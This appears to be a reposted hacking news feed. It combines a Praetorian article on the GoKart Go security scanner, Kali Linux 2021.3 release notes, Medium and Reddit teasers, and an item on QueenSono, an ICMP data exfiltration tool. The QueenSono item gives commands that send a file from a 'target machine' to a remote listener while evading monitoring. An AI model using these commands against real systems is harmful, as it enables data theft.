Hacking on Medium
Git Happens TryHackMe Walkthrough

https://cdn-images-1.medium.com/max/640/1*uvVseAVvFS575Ri8s-Q43w.png
We will start this walkthrough by running autorecon on the target IP address.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Gokart : A Static Analysis Tool For Securing Go Code

GoKart is a static analysis tool for Go that finds vulnerabilities using the SSA (single static assignment) form of Go source code. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe, which reduces the number of false positives compared to other Go security scanners. For instance, a SQL query that is concatenated with a variable might traditionally be flagged as SQL injection; however, GoKart can figure out if the variable is actually a constant or constant equivalent, in which case there is no vulnerability. Why We Built GoKart

Static analysis is a powerful technique for finding vulnerabilities in source code. However, the approach has suffered from being noisy – that is, many static analysis tools find quite a few “vulnerabilities” that are not actually real. This has led to developer friction as users get tired of the tools “crying wolf” one time too many.

The motivation for GoKart was to address this: could we create a scanner with significantly lower false positive rates than existing tools? Based on our experimentation the answer is yes. By leveraging source-to-sink tracing and SSA, GoKart is capable of tracking variable taint between variable assignments, significantly improving the accuracy of findings. Our focus is on usability: pragmatically, that means we have optimized our approaches to reduce false alarms.

For more information, please read our blog post.

Introducing GoKart, A Smarter Go Security Scanner

At Praetorian, we’re committed to promoting and contributing to open source security projects and radically focused on developing technologies to enhance the overall state of cybersecurity. We love when our passions and business commitments overlap so today we’re stoked to announce the initial release of GoKart – a smarter security scanner for Go.

GoKart is our first foray into our new open source security strategy where we aim to seed the community with tools containing a set of baseline capabilities in the hope that it will spur further progression. Rather than attempting to craft rules for specific security concerns, we’ve focused on the release of several high-level analyzers using the Go analysis package which provide capabilities we’ve found missing from existing open source projects. Our goal is to engage and excite the community with this first release with additional features based on direct user feedback. The vision is to become the manufacturing and maintenance organization for the GoKart engine – allowing others to focus on fine tuning and building the cart while driving a higher performance machine.

Static analysis tools are a key part of a modern development pipeline and used in various forms throughout the development lifecycle. In IDEs, syntax checkers catch errors before you even click the Compile button. Behind the scenes, they determine whether source code has a valid form and structure, resolve type information, and perform optimization during compilation. Even code autocompletion methods are based upon simple static analysis that helps prompt the programmer for what goes next. All these itools are great… but where things get exciting, at least for us, is when we apply these approaches to source code for the purposes of identifying security vulnerabilities. Done right, static application security testing (SAST) has the potential to reduce costs at the same time as improving security and productivity. That’s a pretty good outcome.

Compared to dynamic analysis, which actually runs a program, requiring code to be complete and in a fully buildable state, static testing is much more suitable to perform early and often within the development process. Since static analysis only considering the source code, there is no need to [...]

___________________________
@hacking_Attack
@Hacking_Video

set up a custom testing environment, alleviating the need for costly and complex replication and sandboxing of a production web server, firewall, microservices, etc. By its very nature, static analysis provides visibility and analysis coverage of any source file contained in a local development build. Although more advanced static analysis techniques require the creation of custom rules and configurations which are complex to setup and use effectively, the truth that often gets lost in the noise is that static application security testing (SAST) can also be very fast, easy to use and are essential to delivering high quality code and enforcing consistent secure coding standards.

In a security context, SAST can be instrumental in detecting common insecure programming patterns early and enforcing secure coding standards throughout the development lifecycle. SAST has the benefits of being scalable and fast, allowing it to be integrated into a CI/CD pipeline. Praetorian offers its own CI/CD security platform, Chariot, which can apply SAST to every commit. As GoKart evolves it will be included as one of Chariot’s available scanners to add additional context for developers, allowing them to not only find issues quickly, but also give them helpful information to allow them to resolve them. Better still, this service is provided free and is foundational to our comprehensive view into the security posture of infrastructure and code across an enterprise.

For the past decade, static analysis techniques have evolved from their humble origins. Whereas early linting services may have just applied simple RegEx rules to code, more modern approaches leverage data flow analysis, where user controllable data is tracked from user input through a call graph representation of the application and propagated to all functions known to be susceptible to a particular type of exploit. At the bleeding edge of research, static analysis techniques developed in the academic realm have shifted to use of symbolic execution, model checking, constraint analysis and formal methods to create much more powerful capabilities for modeling and evaluation of source code. Meanwhile back in the real security world, commercial tools have struggled to really leverage these more complex and computationally intensive techniques, generally opting for increased language breadth over analysis depth. Worse yet, for the rest of the development world which relies on scouring Github to find and customize our security tools, we’ve discovered that even the data flow techniques pioneered 20 years ago haven’t yet broken out of their corporate cages. Instead, the majority of open source SAST tools have reverted to a grep-like pattern matching strategy, either on the source code directly or on an Abstract Syntax Tree (AST) representation of the program.

Why Did We Make GoKart?

At Praetorian, we eat our own dog food. Given our history of using Go for our offensive tooling development and our recent shift from Java Spring based micro-services to a more efficient, flexible and secure, fully containerized, Kubernetes based architecture using Go to streamline the Chariot platform, we felt strongly about improving the current state of automated Go security analysis.

Over the past decade, commercial SAST tools have gained a reputation for being overly complex to use, noisy and inaccurate, and costly to acquire and maintain. Their compiler based analysis engines, which worked well for statically typed languages like C++, Java and C#, have struggled to adapt their techniques to dynamically typed languages like JavaScript or Python and have been slow to embrace the cloud native paradigms of Docker, Kubernetes and Go. Open source security scanners, on the other hand, have been created in swarms but are typically not sophisticated enough to prove that a given finding was really a security threat or work reliably and accurately enough to be trusted to be run in an automated, u[...]

___________________________
@hacking_Attack
@Hacking_Video

naided manner.

The most notable challenge to the adoption of all the tools is a high false positive rate and a lack of proof showing exactly why a flagged item is vulnerable. For example, many security scanners will simply report that a particular line of code has a security problem without showing the path to exploitation that an attacker would take. Other tools have more evolved much more complex capabilities but require both security acumen and query language programming expertise. In practice, these shortcomings have contributed to false positive fatigue and a mentality of needing to wrestle with the scanner until the warnings went away. GoKart aims to address these issues by providing a user friendly, more accurate and less noisy experience and helping developers discover and understand full attack paths for high impact issues quickly and confidently.

In creating GoKart, we were inspired by gosec, currently the most widely used Go security scanner, were impressed by its ease of use but wanted to see if we could improve upon its current results. Gosec contains thirty rules that apply pattern matching to an abstract syntax tree (AST) representation of Go code. Using the language’s AST helps gosec know exactly where each expression, constant, and function is in relation to other language constructs and prevents any sort of “misread” of code structure. On the security front, gosec handles a variety of issues from SQL injection and decompression bombs to short cryptographic key lengths and outdated TLS settings. The main analysis capability which gosec currently lacks is the ability to perform ‘taint tracking’ or determining code paths where user controllable data could potentially reach a vulnerable function. Addition of taint tracking would allow rules to be written in a way to greatly reduce false positive results associated with more simplistic signature, text or AST-pattern matching. Additionally, gosec may not reveal a potential attack path if the problem isn’t contained exactly where it is expected, producing a false sense of security for users and provoking further mistrust among security professionals. For instance, an adversary might have control over a string which is later used to construct a query leading to SQL injection far earlier in the program execution than when the SQL query gets executed; similarly, a constant value used as a size parameter for creation of an RSA key could be initialized by one function, modified by a second, before being used by the third. In each case, the attack path or security flaw might originate in a different function or even a different file, and without taint tracking or data flow analysis these conditions will likely go undetected. Picking up where gosec leaves off, GoKart first identifies potentially vulnerable functions in source code, and then traces the input of those functions back to their source. If the input source may be controlled by a user (such as in SQL injection), or if the input source is otherwise defined as “vulnerable” (like a short key length in an RSA key generator), GoKart will output the vulnerability.

How Does GoKart Work?

When designing GoKart our focus was to provide visibility into high impact findings in Go which provides significant value to our security engineers performing code reviews in the field as well as our own developers building new tools. We added capabilities to perform a lightweight version of taint propagation and analyzers utilizing these for several of the most interesting and prevalent vulnerabilities we find when performing manual code reviews on applications developed in Go: Command Injection, Path Traversal and Server Side Request Forgery. By adding the ability to customize GoKart with new Sinks for creating additional vulnerability types as well as Sources of user input tailored to a specific enterprise threat model. Based on our limited testing, we believe we’ve struck the correct balance between tool flexib[...]

___________________________
@hacking_Attack
@Hacking_Video

ility and usability, providing a delightful out-of-the-box experience with little to no configuration needed for surfacing high impact vulnerabilities with significantly better noise to signal ratio.

GoKart uses the Go analysis package to build a call graph and puts Go code into single static assignment (SSA) form, structuring every value computed by the program as an assignment to a unique variable. SSA is used in compilers for optimization, and in a security context it can help us trace back the source of data used as input. Doing analysis in SSA form has a few benefits over simply using an AST. GoKart’s SSA form is better for looking at data flow, since all value assignments are done exactly once. Being able to follow data as it flows through a program, weaving in and out of objects and modules, is one of GoKart’s primary features, and it is what makes GoKart so powerful. It can trace into all included packages and modules. Traversing the call graph in SSA form also simplifies code structure and only requires us to handle SSA primitives instead of all Go types.
https://1.bp.blogspot.com/-RPxJxbKQSug/YUBKryjPrII/AAAAAAAAK00/9dvMwLlf9VEYaM2nIv9zoOaVC1T6XWo5wCLcBGAsYHQ/s666/ssa-diagrams.png
SSA also has the benefit of making constant propagation possible during analysis. Some misconfiguration and design vulnerabilities are only applicable if a certain parameter is used, such as creating an RSA key whose length is too short, making the key crackable. Static analysis traditionally would not be able to evaluate expressions that are not literals, but with constant propagation, constant properties and parameters can be evaluated without running the code. Thus, if you passed a variable instead of a literal into `rsa.GenerateKey`, security scanners couldn’t be sure if there was really an issue. Now, given that the variable is a constant or a constant whose manipulations are calculable at compile time, GoKart can determine what that RSA key length is. GoKart is thus able to accommodate different programming styles and is not limited to certain expectations about how code is written, such as expecting a literal argument to a function.

GoKart contains a customizable list of input sources and vulnerable sinks, and since it does taint tracking, it can show exactly where in code a vulnerable input source is being fed into the application. Taint tracking not only greatly reduces the false positive rate of static analysis but also makes remediation much easier using the data path GoKart produces.

Despite making some advancements in using SSA for constant and taint propagation, our AST-based call graph implementation has many of its own limitations. Without proper call flow graph (CFG) construction, our taint analysis won’t properly consider all paths a computer program will branch into; for instance, leading to flow insensitivity within methods as well as cases in which nodes from two branches are incorrectly found in a single call path. There is also the need to perform a level of pointer analysis to more accurately model the concurrency of Go channels – which we are currently over-approximation by assuming data returned from a channel is tainted, leading to potential false positives. Global variables also provide a formidable challenge, since they break down SSA’s assumptions about potential state changes.

Results

For four experimental vulnerability types, GoKart is able to reduce both the false negative and false positive rates over other Go scanners. In particular, GoKart is more accurate than gosec because it operates using taint tracking, makes fewer assumptions about programming styles, and only alerts when a potential vulnerability actually comes from an input source that is considered user-controllable or having the potential to be malicious.

Moving from our experimental testbed to a sample vulnerable application showed that our intuitions on noise reduction and signal amplification hold true. Scanning[...]

___________________________
@hacking_Attack
@Hacking_Video

the go-test-bench application developed by Contrast Security demonstrates a significant improvement in signal to noise ratio https://github.com/Contrast-Security-OSS/go-test-bench, with GoKart finding 8 true positives from our three most common vulnerability types: Path Traversal, Command Injection and Server Side Request Forgery (SSRF), each with supporting evidence in the form of traces from user-controllable input to the vulnerable function.
https://1.bp.blogspot.com/-_r8f9wRlUFI/YUBK-bzz-LI/AAAAAAAAK1A/N46rbrC04OML-xVjKzb7IH2QlkXn9jvdQCLcBGAsYHQ/s936/gokart-trace-1.png
Trace shows Handler method receiving pointer of type httpRequest and assigning it to userInput and is eventually used in call to vulnerable function ioutil.WriteFile()
https://1.bp.blogspot.com/-O6qWanu1sRM/YUBLX8HTgdI/AAAAAAAAK1I/Yo9Wbi_O_hYjYIpRbg5PhGcYY24IgK82wCLcBGAsYHQ/s936/gokart-command-injection.png
Trace shows function osExecHandler receiving pointer of type http.Request, assigning this to userInput which then is directly used in a call to vulnerable method exec.Command()
https://1.bp.blogspot.com/-ZFj24XWzSZs/YUBLqWuVUaI/AAAAAAAAK1Q/Bh6Xxs4uua0i-8Tyri9yxBt93S9B7IRsgCLcBGAsYHQ/s936/gokart-ssrf.png
Trace shows function httpHandler receiving a painter of type http.Request, assigning this to userInput which is then used to create a URL used in a call to vulnerable method http.Get().

At first blush, the overall results from gosec running with only the equivalent checks are quite similar (7 total results; no check exists for SSRF) but drilling a bit further into a specific Command Injection vulnerability identified by gosec but missing from GoKart demonstrates the value of properly tracking user input to a vulnerable function:
https://1.bp.blogspot.com/-s4p27c21XQs/YUBv_XnDfVI/AAAAAAAAK1Y/sdspmvMtXv0u8U_GiBLvOGiSKnN7mnjkACLcBGAsYHQ/s936/1.png
While it seems reasonable to flag this as a vulnerability based only on the call site, since this *would* be a vulnerability if the userInputvariable came from an externally controllable source (e.g. http.Request).

However, tracing through the code clearly shows that userInputis clearly a local variable created from within the function directly before it is used, with no potential for malicious input to reach the vulnerable function and thus this classification is a False Positive result which requires some level of security expertise to identify and which exists even in such a small and intentionally vulnerable application.
https://1.bp.blogspot.com/-mrKAnm2G7iQ/YUBwqrSQl0I/AAAAAAAAK1g/ZmcPqMJNL3gcJfTp-9rqc0Ki9DC3cl3JACLcBGAsYHQ/s936/2.png
Moving from the test track and driving GoKart in the real world gives us a sense of how it will perform on large enterprise codebases. We’ve started scanning some of our favorite Go applications and have found the results to be quite inspiring from a usability standpoint.

Running on grpc-go (https://github.com/grpc/grpc-go) shows that GoKart shows only 2 Path Traversal findings, which both seem reasonable, except that they are found in the benchmark test and thus not something we would report to a customer. The fact that the entirety of the scan with results can be shown in a single page screenshot gives us that warm fuzzy feeling that we’re on the right path here:
https://1.bp.blogspot.com/-MiOYhSqr0Dk/YUBw9rPMEFI/AAAAAAAAK1o/ijBWM2uK1TwAKr9avx8ShOA-6WxifshrQCLcBGAsYHQ/s936/3.png
We’re just now racing the GoKart back and forth around GitHub and have found the results as well as the overall driving experience to be something worth sharing with the world. We plan to take a deeper dive into some of the real world findings and share those in the near future but for those who are interested in a preview, here are some race results (project details have been redacted to practice our policy of responsible disclosure):
https://1.bp.blogspot.com/-nXqTm0ZUgMk/YUBxPYepfnI/AAAAAAAAK1w/PDduezTe6eggYfjiFwfDkYE2WVtWcC7wgCLcBGAsYH[...]

___________________________
@hacking_Attack
@Hacking_Video

Q/s1024/4.png InstallYou can install GoKart locally by using any one of the options listed below. Install with go install$ go install github.com/praetorian-inc/gokart@latest Install a release binary* Download the binary for your OS from the releases page.
* (OPTIONAL) Download the checksums.txtfile to verify the integrity of the archive

# Check the checksum of the downloaded archive
$ shasum -a 256 gokart_${VERSION}${ARCH}.tar.gz b05c4d7895be260aa16336f29249c50b84897dab90e1221c9e96af9233751f22 gokart${VERSION}${ARCH}.tar.gz $ cat gokart${VERSION}${ARCH}_checksums.txt | grep gokart${VERSION}${ARCH}.tar.gz b05c4d7895be260aa16336f29249c50b84897dab90e1221c9e96af9233751f22 gokart${VERSION}_${ARCH}.tar.gz

* Extract the downloaded archive

$ tar -xvf gokart_${VERSION}_${ARCH}.tar.gz

* Move the gokartbinary into your path:

$ mv ./gokart /usr/local/bin/

Clone and build yourself

#clone the GoKart repo
$git clone https://github.com/praetorian-inc/gokart.git
#navigate into the repo directory and build
$cd gokart
$go build
#Move the gokart binary into your path
$mv ./gokart /usr/local/bin

___________________________
@hacking_Attack
@Hacking_Video

QueenSono - Golang Binary For Data Exfiltration With ICMP Protocol

QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful) Install > Install the binary from source Clone the repo and download the dependencies locally: git clone https://github.com/ariary/QueenSono.gitmake before.build To build the ICMP packet sender qssender : build.queensono-sender To build the ICMP packet receiver qsreceiver : build.queensono-receiver Usage qssender is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine. qsreceiver is the listener on your local machine (or wherever you could receive icmp packet) All commands and flags of the binaries could be found using --help Example 1: Send with "ACK" > In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK). On local machine: $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt Explanation -l 0.0.0.0listen on all interfaces for ICMP packet -f received_bible.txt save received data in a file -p show a progress bar of received data On target machine: $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt Explanation send file for sending file (bible.txt is the file in question) -d 2 send a packet each 2 seconds -l 127.0.0.1 the listening address for echo reply -r 10.0.0.92 the address of my remote machine with qsreceiver listening -s 50000 the data size I want to send in each packet Example 2: Send without "ACK" > In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet) On local machine: $ qsreceiver receive truncated 1 -l 0.0.0.0 Explanation receive truncated 1 does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender) On target machine: $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 1 -N Explanation -N noreply option (don't wait for echo reply) Notes only work on Linux (due to the use of golang net icmp package) need cap_net_raw capabilities Download QueenSono
Read more...

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What ports are okay to be open on home router?

I nmapped my router and I found it has port 53, 80, 443, and 8080 open. Is that okay?

submitted by /u/Lmaoootyler
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TOP 3 BEST ANTIVIRUS FOR LAPTOPS IN AMAZON

https://cdn-images-1.medium.com/max/750/1*tcyzieZ_Vc1jPXeXMvShmw.jpeg
Laptops are no longer merely an add-on to a typical desktop computer. Laptops are increasingly far more popular as the only form of…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Jupyter Notebook + Vim/Neovim

https://cdn-images-1.medium.com/max/600/1*aerRQ4H806K5u5MTAWE4BQ.png
Vim/Neovim code editing experience for Jupyter.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HTB-{BountyHunter} user Flag

https://cdn-images-1.medium.com/max/1366/1*Ot9NoHEF8E5z9wuf6fbRsQ.png
Hackthebox Bounty Hunter machine writeup

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Two-Factor Authentication Bypass

What is 2fa ?Continue reading on Medium »
Read more...

Kali Linux Tutorials
Kali Linux 2021.3 : Penetration Testing and Ethical Hacking Linux Distribution

Kali Linux 2021.3 is a Penetration Testing and Ethical Hacking Linux Distribution. A summary of the changes since the 2021.2 release from June are:

* OpenSSL – Wide compatibility by default – Keep reading for what that means
* New Kali-Tools site – Following the footsteps of Kali-Docs, Kali-Tools has had a complete refresh
* Better VM support in the Live image session – Copy & paste and drag & drop from your machine into a Kali VM by default
* New tools – From adversary emulation, to subdomain takeover to Wi-Fi attacks
* Kali NetHunter smartwatch – first of its kind, for TicHunter Pro
* KDE 5.21 – Plasma desktop received a version bump

OpenSSL: wide compatibility by default

Going forwards from Kali Linux 2021.3, OpenSSL has now been configured for wider compatibility to allow Kali to talk to as many services as possible. This means that legacy protocols (such as TLS 1.0 and TLS 1.1) and older ciphers are enabled by default. This is done to help increase Kali’s ability to talk to older, obsolete systems and servers that are still using these older protocols. This may potentially increase your options on available attack surfaces (if your target has these End of Life (EoL) services running, having then forgotten about them, what else could this uncover?). While this is not a configuration that would be good for a general purpose operating systems, this setting makes sense for Kali as it enables the user to engage and talk with more potential targets.

This setting is easy to modify via the command-line tool kali-tweaksthough. Enter the Hardeningsection, and from there you can configure OpenSSL for Strong Security mode instead, which uses today’s current modern standard allowing for secure communication.

For more details, refer to the documentation: kali.org/docs/general-use/openssl-configuration/

Kali-Tools

In 2019.4 we moved our documentation over to our updated /docs/ page. It’s now finally the turn of our Kali-Tools site!

We have refreshed every aspect of the previous site, giving a new, faster, layout, content, and system! The backend is now in a semi-automated state and more in the open, which like before, allows for anyone to help out and contribute.

Once these sites have settled down from all the changes and matured a bit, we will start to package these both up, allowing for offline reading.
https://1.bp.blogspot.com/-VR39ACsZI_4/YUNdLQTHkgI/AAAAAAAAK3I/SF24zxRlyzcp1wPPmwfQOAe_OsFfgOkmACLcBGAsYHQ/s1435/1.png
Virtualization: improvements all over the place

The Kali Live image received some love during this release cycle! We worked hard to make the experience smoother for those who run the Live image in virtualized environments. Basic features like copy’n’paste and drag’n’drop between the host and the guest should now work out of the box. And this is really for everyone: VMware, VirtualBox, Hyper-V and QEMU+Spice. Did we forget anyone? Drop us a word on the Kali bug tracker!

On the same line: it’s now very easy to configure Kali for Hyper-V Enhanced Session Mode. Open kali-tweaksin a terminal, select Virtualization, and if Kali is running under Hyper-V, you’ll see a setting to turn on Hyper-V Enhanced Session Mode. It’s now as simple as hitting Enter!

If you use this feature, make sure to visit kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/, as there are a few additional things to be aware of.

Many thanks to @Shane Bennett, who spent a tremendous amount of time testing this feature, provided extremely detailed feedback all along, and even helped us with the documentation. Kudos Shane!

New Tools in Kali

It wouldn’t be a Kali release if there weren’t any new tools added! A quick run down of what’s been added (to [...]

the network repositories):

* Berate_ap – Orchestrating MANA rogue Wi-Fi Access Points
* CALDERA – Scalable automated adversary emulation platform
* EAPHammer – Targeted evil twin attacks against WPA2-Enterprise Wi-Fi networks
* HostHunter – Recon tool for discovering hostnames using OSINT techniques
* RouterKeygenPC – Generate default WPA/WEP Wi-Fi keys
* Subjack – Subdomain takeover
* WPA_Sycophant – Evil client portion of EAP relay attack

Kali NetHunter Updates
https://1.bp.blogspot.com/-9A5WYFosQFA/YUNdkwc2sqI/AAAAAAAAK3Q/eK88spZs8T0os3QP5Ai1drupXbaeybgaQCLcBGAsYHQ/s1582/NHWheader.png
Kali NetHunter Watch

We proudly introduce the world’s first Kali NetHunter smartwatch, the TicHunter Pro thanks to the outstanding work of our very own NetHunter developer @yesimxev. It is still experimental, hence the features are limited to USB attacks, and some basic functions. The hardware also has limitations, as such a small battery won’t supply enough voltage for any OTG adapters, so huge antennas won’t stick out of your wrist! The future is very promising, bringing support for Nexmon and internal bluetooth usage.

The image is available on our download page.

Please note that those images contain a “nano Kali rootfs” due to technical reasons. The detailed installation guide can be found in our Kali documentation. Feel free to join the adventure!

Kali NetHunter Installation via Magisk

Thanks to the amazing work of @Mominul Islam, we can now bring Kali NetHunter to Android 11 devices without a fully working TWRP!

Each Kali NetHunter image can be flashed as a Magisk module. This work is still in its infancy and more work is needed to bring it up to par with the traditional installer through TWRP.

One of the missing parts is the kernel installation. We haven’t been able to install the kernel through Magisk yet. That has to be done via kernel installers like the “Franco Kernel Manager”. If you are keen to get NetHunter onto your Android 11 device, just give it a crack. If you are interested in helping out with getting the kernel part finished, please get in touch with us through our GitLab issue tracker. Any help is greatly appreciated!

Kali NetHunter installation step-by-step guide for our preferred device, the OnePlus 7

Our preferred device for Kali NetHunter is the OnePlus 7 running Android 10 (stock ROM).

For a step-by-step installation guide and links to all the files required to restore your phone to the latest stock Android 10 ROM, install TWRP, Magisk and Kali NetHunter, head over to our Kali documentation page.

Kali ARM Updates

We have been busy doing various tweaks and tinkering on our Kali ARM images, which covers:

* Our Kali ARM build-scripts have been re-worked.
* Thanks to @cyrus104, we now have a build-script to support the Gateworks Newport board, and he also added documentation for it.
* @Re4son contributed a build-script for the Raspberry Pi Zero W based “Pi-Tail” (Find more information here).
* Additionally, the RaspberryPi Zero W based “P4wnP1” build-script has undergone some major changes.

* All images should finally resize the file-system on the first boot.
* We now re-generate the default snakeoil cert, which fixes a couple of tools that were failing to run previously.
* Images default to iptables-legacyand ip6tables-legacyfor iptables support.
* We now set a default locale of en_US.UTF-8on all images, you can, of course, change this to your preferred locale.
* The Kali user on ARM images is now in all of the same groups as base images by default, and uses zsh for the default shell. You can change your default shell by using the kali-tweakstool which also comes pre-installed.
* Raspberry Pi images can now use a wpa_supplicant.conffile on the /bootpartition.
* Raspberry Pi images now come with kalipi-config, and kalipi-tft-configpre-installed.[...]